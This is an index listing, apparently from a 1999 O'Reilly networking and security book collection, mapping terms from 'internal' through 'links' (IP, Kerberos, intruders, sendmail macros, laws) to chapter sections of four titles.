Intermediate System to Intermediate System (IS-IS) protocol : TCP/IP Network Administration, 7.4. Interior Routing Protocols
intermediate systems : (see gateways)
intermittent problems : TCP/IP Network Administration, 11.4.2. Troubleshooting with the arp Command
internal
bastion hosts : Building Internet Firewalls, 5.2.3. Internal Bastion Hosts
clients, and proxying : Building Internet Firewalls, 7.4.5. Internal Versus External Clients
firewalls : Building Internet Firewalls, 4.4. Internal Firewalls
bastion hosts on : Building Internet Firewalls, 4.4.6. An Internal Firewall May or May Not
mail, accepting only : sendmail, 20.2.1. Accept Mail Only From Our Domain
mailing lists
sendmail, 20.2.2. Workstation Refuses to Act as a Mail Gateway
sendmail, 25.1. Internal Mailing Lists
name for mail hub : sendmail, 11.4.2. A Word About ${HUB}
news server : Building Internet Firewalls, 8.5.3.4. Relaying news through your bastion
predefined macros : sendmail, 7.3. Predefined Macros
rule sets : sendmail, 8.3. Rule Sets
threats : TCP/IP Network Administration, 12.1.1. Assessing the Threat
internal keyword : TCP/IP Network Administration, 5.4. The Internet Daemon
international cryptography export
Practical UNIX & Internet Security, 6.4.4.1. Use and export of DES
Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
International Data Encryption Algorithm (IDEA)
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.6.3.1. Encrypting files with IDEA
International Standards Organization (ISO)
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 11.9. Simple Network Management Protocol
internationalization : sendmail, 28.1.2.1. Backslashes in rules
Internet
Practical UNIX & Internet Security, 16.1.1. The InternetWe recommend that readers
Practical UNIX & Internet Security, 18. WWW Security
(see also World Wide Web)
addresses
Practical UNIX & Internet Security, 16.2.1. Internet Addresses
Practical UNIX & Internet Security, 16.2.1.3. CIDR addresses
sendmail, 17.1.3. Internet Addresses
TCP/IP Network Administration, 10.7.1. Modifying Local Information
conferencing services, real-time : Building Internet Firewalls, 2.8. Real-Time Conferencing
connected or non-connected to : TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
connections to unbuilt bastion host : Building Internet Firewalls, 5.8. Building a Bastion Host
Control Message Protocol : (see ICMP)
daemon : (see inetd daemon)
defense in depth : Building Internet Firewalls, 3.2. Defense in Depth
domain as NIS domain : Practical UNIX & Internet Security, 19.4.3. NIS Domains
email over : (see email)
firewalls : (see firewalls)
future of IP addresses : Building Internet Firewalls, 4.5. What the Future Holds
global
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
TCP/IP Network Administration, 12.6. Encryption
layer, TCP/IP : Building Internet Firewalls, C.5. Internet Layer
logging activity on : (see logs/logging)
military origins of : TCP/IP Network Administration, 1.1. TCP/IP and the Internet
multicasting : Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
multiple connections to : Building Internet Firewalls, 4.3.6. It's OK to Use
Protocol : (see IP)
rapid growth of
TCP/IP Network Administration, Foreword from the First Edition
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
TCP/IP Network Administration, 2.2.1. Address Classes
TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
Relay Chat : (see IRC)
routing architecture
Building Internet Firewalls, C.10. Internet Routing Architecture
TCP/IP Network Administration, 2.4. Internet Routing Architecture
search programs for : Building Internet Firewalls, 2.6. Other Information Services
security resource : Building Internet Firewalls, A.3.5. CERT-Advisory
servers : (see servers, Internet)
services : (see services, Internet)
Worm program : Practical UNIX & Internet Security, 1. Introduction
WWW : (see World Wide Web)
Internet Control Message Protocol (ICMP)
Building Internet Firewalls, 2.10. Network Management Services
Building Internet Firewalls, 6.3.3.3. ICMP
Building Internet Firewalls, C.5.2. Internet Control Message
Practical UNIX & Internet Security, 16.2.4.1. ICMP
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
echo
Building Internet Firewalls, 8.12.3. ping
(see also ping command)
packets, configuring : Building Internet Firewalls, 8.12.5. Other ICMP Packets
parameter problem message header : TCP/IP Network Administration, F.3. ICMP Parameter Problem Message Header
returning error codes : Building Internet Firewalls, 6.4.2. Returning ICMP
statement (in gated) : TCP/IP Network Administration, B.8.9. The icmp Statement
tracing messages in : TCP/IP Network Administration, B.8.9. The icmp Statement
Internet Control Protocol (IPCP) : TCP/IP Network Administration, 6.2.1. The Serial Protocols
Internet Engineering Task Force (IETF) : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
RFC page : TCP/IP Network Administration, 13.4. Retrieving RFCs
Internet Header Length (IHL) : TCP/IP Network Administration, 1.5.1.1. The datagram
Internet Layer : TCP/IP Network Administration, 1.5. Internet Layer
Internet Message Access Protocol (IMAP)
TCP/IP Network Administration, 4.5.3. Planning Your Mail System
TCP/IP Network Administration, 9.7.2. IMAP Server
Internet Packet Exchange (IPX) : Practical UNIX & Internet Security, 16.4.1. IPX
Internet Protocol (IP) : TCP/IP Network Administration, 1.5.1. Internet Protocol
Internet Registries
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 4.3.1. Obtaining an autonomous system number
Internet Relay Chat (IRC) : Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
Internet Resource Registries (IRR) : TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
Internet Routing Registry (IRR) : TCP/IP Network Administration, 2.4. Internet Routing Architecture
Internet Security Scanner (ISS) : Practical UNIX & Internet Security, 17.6.2. ISS
Internet Service Providers : (see ISPs)
Internet Software Consortium (ISC) : TCP/IP Network Administration, 9.5. DHCP
Internet Talk Radio
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 5.3.1.1. Options
InterNIC
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
TCP/IP Network Administration, 8.3.3. The Cache Initialization File
TCP/IP Network Administration, 11.6.3. Cache corruption
TCP/IP Network Administration, 13.6. The White Pages
interoperability : (see DHCP; POP; routers and routing)
intervals
queue processing interval : sendmail, 23.6.1. Periodically with -q
return interval : sendmail, 13.2.2. Limit the Life of Queued Messages
intranets : TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
intruders/attackers
Practical UNIX & Internet Security, 1. Introduction
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
(see also finger service)
(see also firewalls)
(see also incidents, attacks, threats)
(see also TFTP)
confronting : Practical UNIX & Internet Security, 24.2.2. What to Do When You Catch Somebody
creating hidden files : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
discovering
Practical UNIX & Internet Security, 24.2. Discovering an Intruder
Practical UNIX & Internet Security, 24.2.6. Anatomy of a Break-in
legal options regarding : Practical UNIX & Internet Security, 26.1. Legal Options After a Break-in
pursuing and capturing : Building Internet Firewalls, 13.3. Pursuing and Capturing the
recovering from : Building Internet Firewalls, 13.1.6. Restore and Recover
responding to
Practical UNIX & Internet Security, 24. Discovering a Break-in
Practical UNIX & Internet Security, 24.7. Damage Control
revealing DNS information to : Building Internet Firewalls, 8.10.4.3. Revealing too much information to
reviewing response strategies : Building Internet Firewalls, 13.4.8. Periodic Review of Plans
slower machines and : Building Internet Firewalls, 5.3.2. How Fast a Machine?
tracking from log files : Practical UNIX & Internet Security, 24.3. The Log Files: Discovering an Intruder's
types of : Building Internet Firewalls, 1.2.2. Types of Attackers
"invalid ruleset name" error : sendmail, 29.1. The S Configuration Command
ioctl system call : Practical UNIX & Internet Security, C.1.3.4. Process groups and sessions
IP (Internet Protocol)
Building Internet Firewalls, 6.3.2. IP
Building Internet Firewalls, C.5.1. Internet Protocol
TCP/IP Network Administration, 1.5.1. Internet Protocol
Building Internet Firewalls, C.9. The IP Address
encryption : Building Internet Firewalls, 10.5.2. What Do You Encrypt?
fragmentation : Building Internet Firewalls, 6.3.2.2. IP fragmentation
multicasting : Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
nested over IP : Building Internet Firewalls, 6.3.3.5. IP over IP
packet routes to : (see traceroute utility)
source route option : Building Internet Firewalls, 6.3.2.1. IP options
status and control messages : Building Internet Firewalls, 6.3.3.3. ICMP
Version 6 (IPv6) : Building Internet Firewalls, 6.3.6. IP Version 6
IP addresses
Building Internet Firewalls, 2.9. Name Service
Building Internet Firewalls, 6.3.6. IP Version 6
Building Internet Firewalls, C.9. The IP Address
TCP/IP Network Administration, 2.2. The IP Address
TCP/IP Network Administration, 6.1. The ifconfig Command
classless : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
controlling access by : Practical UNIX & Internet Security, 17.2. Controlling Access to Servers
depletion of : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
future of : Building Internet Firewalls, 4.5. What the Future Holds
incorrect : TCP/IP Network Administration, 11.4.1. Troubleshooting with the ifconfig Command
name service and
Practical UNIX & Internet Security, 16.2.6. Name Service
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
private : Building Internet Firewalls, 4.5. What the Future Holds
restricting access by : Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
unique : TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
IP datagrams
forwarding : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
headers for : TCP/IP Network Administration, F.1. IP Datagram Header
IP numbers, monitoring : Practical UNIX & Internet Security, 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
IP packets
(see packet sniffing)
(see packet switching)
(see packets)
IP protocols
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Practical UNIX & Internet Security, 16.2.4. Packets and Protocols
Practical UNIX & Internet Security, 16.2.4.3. UDP
IP routers
Building Internet Firewalls, C.5.1.2. Routing datagrams
(see also gateways)
IP security
Practical UNIX & Internet Security, 16.3. IP Security
Practical UNIX & Internet Security, 16.3.3. Authentication
IP services : (see network services)
IP spoofing
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Practical UNIX & Internet Security, 16.3. IP Security
IP_SRCROUTE macro : sendmail, 18.8. Alphabetized Reference
IPC (interprocessor communications) : sendmail, 6.2. Define a Mail Delivery Agent
IPCP (Internet Control Protocol) : TCP/IP Network Administration, 6.2.1. The Serial Protocols
IPv4 (IP Version 4)
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
IPv6 : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
IPX (Internet Packet Exchange)
Practical UNIX & Internet Security, 16.4.1. IPX
TCP/IP Network Administration, A.2. The PPP Daemon
IRC (Internet Relay Chat)
Building Internet Firewalls, 2.8. Real-Time Conferencing
Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
configuring : Building Internet Firewalls, 8.9.2. Internet Relay Chat
IRIX wtmpx file : Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
irq parameter : TCP/IP Network Administration, 6.1.5.5. Point-to-point
IRR (Internet Resource Registries)
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
IS (intermediate system)
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, B.8.4. The isis Statement
IS-IS protocol : TCP/IP Network Administration, B.8.4. The isis Statement
trace options : TCP/IP Network Administration, B.8.4. The isis Statement
ISC (Internet Software Consortium)
TCP/IP Network Administration, 9.5. DHCP
TCP/IP Network Administration, D.1. Compiling dhcpd
ISDN interface : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
experimental : TCP/IP Network Administration, 5.3.1.3. Devices
isis statement (in gated) : TCP/IP Network Administration, B.8.4. The isis Statement
ISN (Initial Sequence Number) : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
ISPs (Internet Service Providers)
Practical UNIX & Internet Security, 27.2.6. Network Providers that Network Too Well
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
choosing : TCP/IP Network Administration, 4.1.1. Network Contacts
interconnections among : TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
services of : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
ISS (Internet Security Scanner)
Building Internet Firewalls, B.2.5. ISS
Practical UNIX & Internet Security, 17.6.2. ISS
Practical UNIX & Internet Security, E.4.4. ISS (Internet Security Scanner)ISS

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

j flag : sendmail, 30.8. Alphabetized F= Flags
$j macro
sendmail, 7.3.1. The hostname
sendmail, 14.1.2. The Received: Header
sendmail, 21.2.1. Determine the Local Canonical Name
sendmail, 31.10. Alphabetized Reference
losing dots from : sendmail, 18.8. Alphabetized Reference
j option : (see SendMimeErrors (j) option)
J option : (see ForwardPath (J) option)
-J switch (sendmail) : sendmail, 36.7. Alphabetized Reference
Japanese font conversion : sendmail, 36.7. Alphabetized Reference
jargon : (see terminology, importance of using standard)
Java programming language
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 18.5.1. Executing Code from the Net
Joe accounts
Practical UNIX & Internet Security, 3.6.2. Smoking Joes
Practical UNIX & Internet Security, 8.8.3.1. Joetest: a simple password cracker
TCP/IP Network Administration, 12.2. User Authentication
joint networks : Building Internet Firewalls, 4.4.4. Joint Venture Firewalls
Joy, Bill : Practical UNIX & Internet Security, 1.3. History of UNIX
joyriders : Building Internet Firewalls, 1.2.2.1. Joyriders
JP Morgan : Practical UNIX & Internet Security, F.3.4.18. JP Morgan employees
jpeg image subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
junk precedence : sendmail, 14.4. Precedence

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

k class : sendmail, 32.5. Alphabetized Reference
K commands
TCP/IP Network Administration, 10.8.2. Using Key Files in sendmail
TCP/IP Network Administration, E.4.4. The sendmail K Command
K configuration command
sendmail, 5.3.11. Keyed Databases
sendmail, 20.3. Alphabetized V8.8 Subroutines
sendmail, 33.3. The K Configuration Command
-d switch for : sendmail, D.3. K Command's -d switch
-k database switch : sendmail, 33.3.4.4. -k specify column for key (V8.7 and above)
k flag : sendmail, 30.8. Alphabetized F= Flags
K line (qf file) : sendmail, 23.9. The qf File Internals
$k macro
sendmail, 18.8. Alphabetized Reference
sendmail, 31.10. Alphabetized Reference
sendmail, D.1. Sun Enhancements
overriding : sendmail, 31.10. Alphabetized Reference
k option : (see ConnectionCacheSize (k) option)
K option : (see ConnectionCacheTimeout (K) option)
KarlBridge package : Building Internet Firewalls, B.3.3. KarlBridge
Karn, Phil : Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
keepalives
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
TCP/IP Network Administration, B.8.5. The bgp Statement
Kerberos authentication system
Building Internet Firewalls, 2.12. Network File Systems
Building Internet Firewalls, 10.4.1. Kerberos
Building Internet Firewalls, B.1.2. Kerberos
Practical UNIX & Internet Security, 8.7.3. Code Books
Practical UNIX & Internet Security, 19.6. Kerberos
Practical UNIX & Internet Security, 19.6.5. Kerberos Limitations
Practical UNIX & Internet Security, E.4.5. Kerberos
installing : Practical UNIX & Internet Security, 19.6.3. Installing Kerberos
RPC system and : Practical UNIX & Internet Security, 19.2.2.4. AUTH_KERB
supporting versions of POP : Building Internet Firewalls, 8.1.2. Post Office Protocol
Versions 4 and 5 : Practical UNIX & Internet Security, 19.6.1.4. Kerberos 4 vs. Kerberos 5
versus Secure RPC : Practical UNIX & Internet Security, 19.6.2. Kerberos vs. Secure RPC
kermit program
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 14.5.3.3. Privilege testing
kernel
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 5.5.3. SUID Shell Scripts
TCP/IP Network Administration, 5.1. Kernel Configuration
reconfiguring : Building Internet Firewalls, 5.8.4.1. Reconfigure and rebuild the kernel
statement (in gated) : TCP/IP Network Administration, B.8.10.1. The routerdiscovery client statement
key
distribution, encryption : Building Internet Firewalls, 10.5.4. Key Distribution
escrow : Practical UNIX & Internet Security, 6.1.3. Modern Controversy
fingerprints : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
search
Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
Practical UNIX & Internet Security, 8.6.1. The crypt()
switches : Practical UNIX & Internet Security, 12.3.6. Key Switches
keyboard interrupts : TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
keyed databases : (see databases)
keylogin program
Practical UNIX & Internet Security, 19.3.3. Using Secure RPC
Practical UNIX & Internet Security, 19.5.4. Using NIS+
keylogout program : Practical UNIX & Internet Security, 19.3.3. Using Secure RPC
keys, duplicate database : sendmail, 33.2.1.1. -d allow duplicate keys
keyserv process
Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
Practical UNIX & Internet Security, 19.3.2.3. Making sure Secure RPC programs are running on every
Practical UNIX & Internet Security, 19.5.4. Using NIS+
keystore file : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
keystrokes
monitoring
Practical UNIX & Internet Security, 17.3.21.2. X security
Practical UNIX & Internet Security, 24.2.3. Monitoring the Intruder
(see also sniffing)
time between
Building Internet Firewalls, 10.2.1. Something You Are
Practical UNIX & Internet Security, 23.8. Picking a Random Seed
keyword search : Building Internet Firewalls, 2.6. Other Information Services
"Keywords:" header line : sendmail, 35.10. Alphabetized Reference
kill command
Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
Practical UNIX & Internet Security, 24.2.5. Getting Rid of the Intruder
Practical UNIX & Internet Security, C.4. The kill Command
to stop process overload
Practical UNIX & Internet Security, 25.2.1.1. Too many processes
Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
killing sendmail daemon
sendmail, 4.1.1.1. Kill and restart, beginning with V8.7
sendmail, 15.5. Prevent the Daemon from Running
kinit program : Practical UNIX & Internet Security, 19.6.4. Using Kerberos
kmem device
Practical UNIX & Internet Security, 5.6. Device Files
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
known text attacks : Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
Koblas, David : Practical UNIX & Internet Security, 22.4. SOCKS
Koblas, Michelle : Practical UNIX & Internet Security, 22.4. SOCKS
KPOP (Kerberos-supporting Post Office Protocol) : Building Internet Firewalls, 8.1.2. Post Office Protocol
ksh (Korn shell)
Practical UNIX & Internet Security, 11.5.1. Shell Features
Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
(see also shells)
history file : Practical UNIX & Internet Security, 10.4.1. Shell History
restricted shell : Practical UNIX & Internet Security, 8.1.4.3. Restricted Korn shell
TMOUT variable : Practical UNIX & Internet Security, 12.3.5.1. Built-in shell autologout
umask and : Practical UNIX & Internet Security, 5.3.1. The umask Command
ksh93 shell
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
.kshrc file : Practical UNIX & Internet Security, 11.5.2.2. .cshrc, .kshrc

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

L command (sendmail.cf)
sendmail, D.1. Sun Enhancements
sendmail, D.4. L and G Configuration Commands
l flag : sendmail, 30.8. Alphabetized F= Flags
L flag : sendmail, 30.8. Alphabetized F= Flags
$l macro : (see UnixFromLine option)
$L macro : sendmail, 31.10. Alphabetized Reference
l option : (see UseErrorsTo (l) option)
L option : (see LogLevel (L) option)
L-devices file : Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
L.cmds file : Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
L.sys file : Practical UNIX & Internet Security, 15.3.3. Security of L.sys and Systems Files
L= equate
sendmail, 18.8. Alphabetized Reference
sendmail, 30.4. The Equates
LA_TYPE macro : sendmail, 18.8. Alphabetized Reference
labeling the system : Building Internet Firewalls, 13.5.2. Labeling and Diagraming Your System
laboratory networks : Building Internet Firewalls, 4.4.1. Laboratory Networks
Lai, Xuejia : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
laid-off employees : Practical UNIX & Internet Security, 13.2.6. Departure
LaMacchia, Brian : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
LANs (local area networks)
Practical UNIX & Internet Security, 16.1. Networking
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
TCP/IP Network Administration, 1.7. Application Layer
(see also Ethernet)
applications : TCP/IP Network Administration, 3.7.1. File Sharing
proprietary : TCP/IP Network Administration, 3.7.1. File Sharing
servers : TCP/IP Network Administration, 3. Network Services
LAN-oriented service : Building Internet Firewalls, 5.6. Selecting Services Provided by the
Lance Ethernet Interface : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
laptop computers
Practical UNIX & Internet Security, 12.2.6.3. Portables
TCP/IP Network Administration, 11.2. Diagnostic Tools
large transmission window size : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
last connection time : sendmail, B.1. Status file lines
last program
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.3. last Program
Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
Practical UNIX & Internet Security, 15.3.1. Assigning Additional UUCP Logins
TCP/IP Network Administration, 12.4.2.2. Checking login activity
-f option : Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
lastcomm program
Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
Practical UNIX & Internet Security, 10.2.2. Accounting with BSD
lastlog file : Practical UNIX & Internet Security, 10.1.1. lastlog File
laws
Practical UNIX & Internet Security, 26. Computer Security and U.S. Law
Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
backups and : Practical UNIX & Internet Security, 7.1.7. Legal Issues
checklist for : Practical UNIX & Internet Security, A.1.1.25. Chapter 26: Computer Security and U.S. Law
copyright
Practical UNIX & Internet Security, 9.2.1. Comparison Copies
Practical UNIX & Internet Security, 26.4.2. Copyright Infringement
Practical UNIX & Internet Security, 26.4.2.1. Software piracy and the SPA
criminal prosecution
Practical UNIX & Internet Security, 26.2. Criminal Prosecution
Practical UNIX & Internet Security, 26.2.7. A Final Note on Criminal Actions
documentation of incidents : Building Internet Firewalls, 13.1.7. Document the Incident
Electronic Communications Privacy Act (ECPA) : Practical UNIX & Internet Security, 26.2.3. Federal Computer Crime Laws
encryption
Practical UNIX & Internet Security, 6.7. Encryption and U.S. Law
Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
Practical UNIX & Internet Security, 12.2.6.3. Portables
enforcement agencies : Practical UNIX & Internet Security, 14.4.4.1. Kinds of eavesdropping
export
Practical UNIX & Internet Security, 6.4.4.1. Use and export of DES
Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
Practical UNIX & Internet Security, 26.4.1. Munitions Export
federal enforcement
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
Practical UNIX & Internet Security, 26.2.3. Federal Computer Crime Laws
indecent material : Practical UNIX & Internet Security, 26.4.5. Pornography and Indecent Material
liability
Practical UNIX & Internet Security, 26.4. Other Liability
Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
monitoring keystrokes : Practical UNIX & Internet Security, 24.2.3. Monitoring the Intruder
non-citizen access : Practical UNIX & Internet Security, 26.4.1. Munitions Export
patents : Practical UNIX & Internet Security, 26.4.4. Patent Concerns
for portable computers : Practical UNIX & Internet Security, 12.2.6.3. Portables
pursuing intruders : Building Internet Firewalls, 13.3. Pursuing and Capturing the
resources on : Practical UNIX & Internet Security, D.1.1. Other Computer References
search warrants
Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
Practical UNIX & Internet Security, 26.2.5. If You or One of Your Employees Is a Target
security responsibilities : Building Internet Firewalls, 11.2.3. External Factors That Influence
smoking : Practical UNIX & Internet Security, 12.2.1.2. Smoke
state and local enforcement : Practical UNIX & Internet Security, 26.2.1. The Local Option
trademarks : Practical UNIX & Internet Security, 26.4.3. Trademark Violations
vendor liability : Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
lawsuits (civil) : Practical UNIX & Internet Security, 26.3. Civil Actions
layering firewalls : Building Internet Firewalls, 3.2. Defense in Depth
layers
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
LCP (Link Control Protocol)
TCP/IP Network Administration, 6.2.1. The Serial Protocols
TCP/IP Network Administration, A.2. The PPP Daemon
LD_LIBRARY_PATH variable : sendmail, 22.2. The Environment
LDAPMAP macro : sendmail, 18.8. Alphabetized Reference
ldapx database class : sendmail, 33.8. Alphabetized Reference
LDOPTS= directive : sendmail, 18.4.4. LDOPTS=
leased telephone lines : Practical UNIX & Internet Security, 14.5.4. Physical Protection of Modems
leases on addresses : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
default-lease-time : TCP/IP Network Administration, 9.5.1. dhcpd.conf
renewing : TCP/IP Network Administration, 9.4.2. BOOTP extensions
least privilege
Building Internet Firewalls, 3.1. Least Privilege
Building Internet Firewalls, 9.1.4.1. Least privilege
Building Internet Firewalls, 9.2.3.1. Least privilege
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 13.2.5. Least Privilege and Separation of Duties
Lee, Ying-Da : Practical UNIX & Internet Security, 22.4. SOCKS
legal : (see laws)
Lesk, Mike
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 15.2. Versions of UUCP
level, debugging : sendmail, 4.3. Debugging (-d)
level, logging : (see logs/logging)
level, version : (see versions)
level, warning
sendmail, 26.1.1. syslog(3)
sendmail, 26.1.2. Tuning syslog.conf
LHS, rule
sendmail, 8.4. Rules
sendmail, 8.7.1. Other Text in the LHS
sendmail, 28.5. The LHS
(see also rule sets)
class macros in : sendmail, 12.1.3. Class Macros in the LHS
wildcards for : (see wildcard operators)
liability, legal
Practical UNIX & Internet Security, 26.4. Other Liability
Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
/lib directory : Practical UNIX & Internet Security, 11.5.3.6. Other files
LIBDIRS= directive : sendmail, 18.4.5. LIBDIRS=
libresolv.a : sendmail, 18.5.1. Use libresolv.a
LIBS= directive : sendmail, 18.4.6. LIBS=
libwrap.a package
sendmail, 18.8. Alphabetized Reference
sendmail, 22.4.1. Accept/Reject Connections via libwrap.a
license agreements : Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
comparison copies and : Practical UNIX & Internet Security, 9.2.1. Comparison Copies
lie-detector tests : Practical UNIX & Internet Security, 13.1. Background Checks
life, queue messages : sendmail, 13.2.2. Limit the Life of Queued Messages
lightning
Practical UNIX & Internet Security, 12.2. Protecting Computer Hardware
Practical UNIX & Internet Security, 12.2.1.9. Lightning
Lightweight Directory Access Protocol (LDAP)
sendmail, 18.8. Alphabetized Reference
sendmail, 33.8. Alphabetized Reference
limit command : Practical UNIX & Internet Security, 25.2.5. Soft Process Limits: Preventing Accidental Denial
Limit command (<Directory>) : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
limited user access : Practical UNIX & Internet Security, 8.1.5.1. Limited users
limited_masquerade feature : sendmail, 19.6. Alphabetized m4 Macros
limiting
DHCP servers : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
number of processable messages : sendmail, 23.5. How the Queue Is Processed
queue message lifetime
sendmail, 13.2.2. Limit the Life of Queued Messages
sendmail, 34.8. Alphabetized Reference
line length
sendmail, 30.4. The Equates
sendmail, 30.8. Alphabetized F= Flags
line length restriction : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Line Printer (LP) print service, in Solaris : TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
Link Control Protocol (LCP)
TCP/IP Network Administration, 6.2.1. The Serial Protocols
TCP/IP Network Administration, A.2. The PPP Daemon
link-level encryption : Building Internet Firewalls, 10.5.1. At What Level Do You Encrypt?
link-level security : Practical UNIX & Internet Security, 16.3.1. Link-level Security
link-state
database : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
routing protocols
TCP/IP Network Administration, 7.4. Interior Routing Protocols
TCP/IP Network Administration, 7.4.2. RIP Version 2
Link-State Advertisements (LSAs)
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, B.8.1. The ospf Statement
links
encryption of : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
link-level security : Practical UNIX & Internet Security, 16.3.1. Link-level Security
static : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
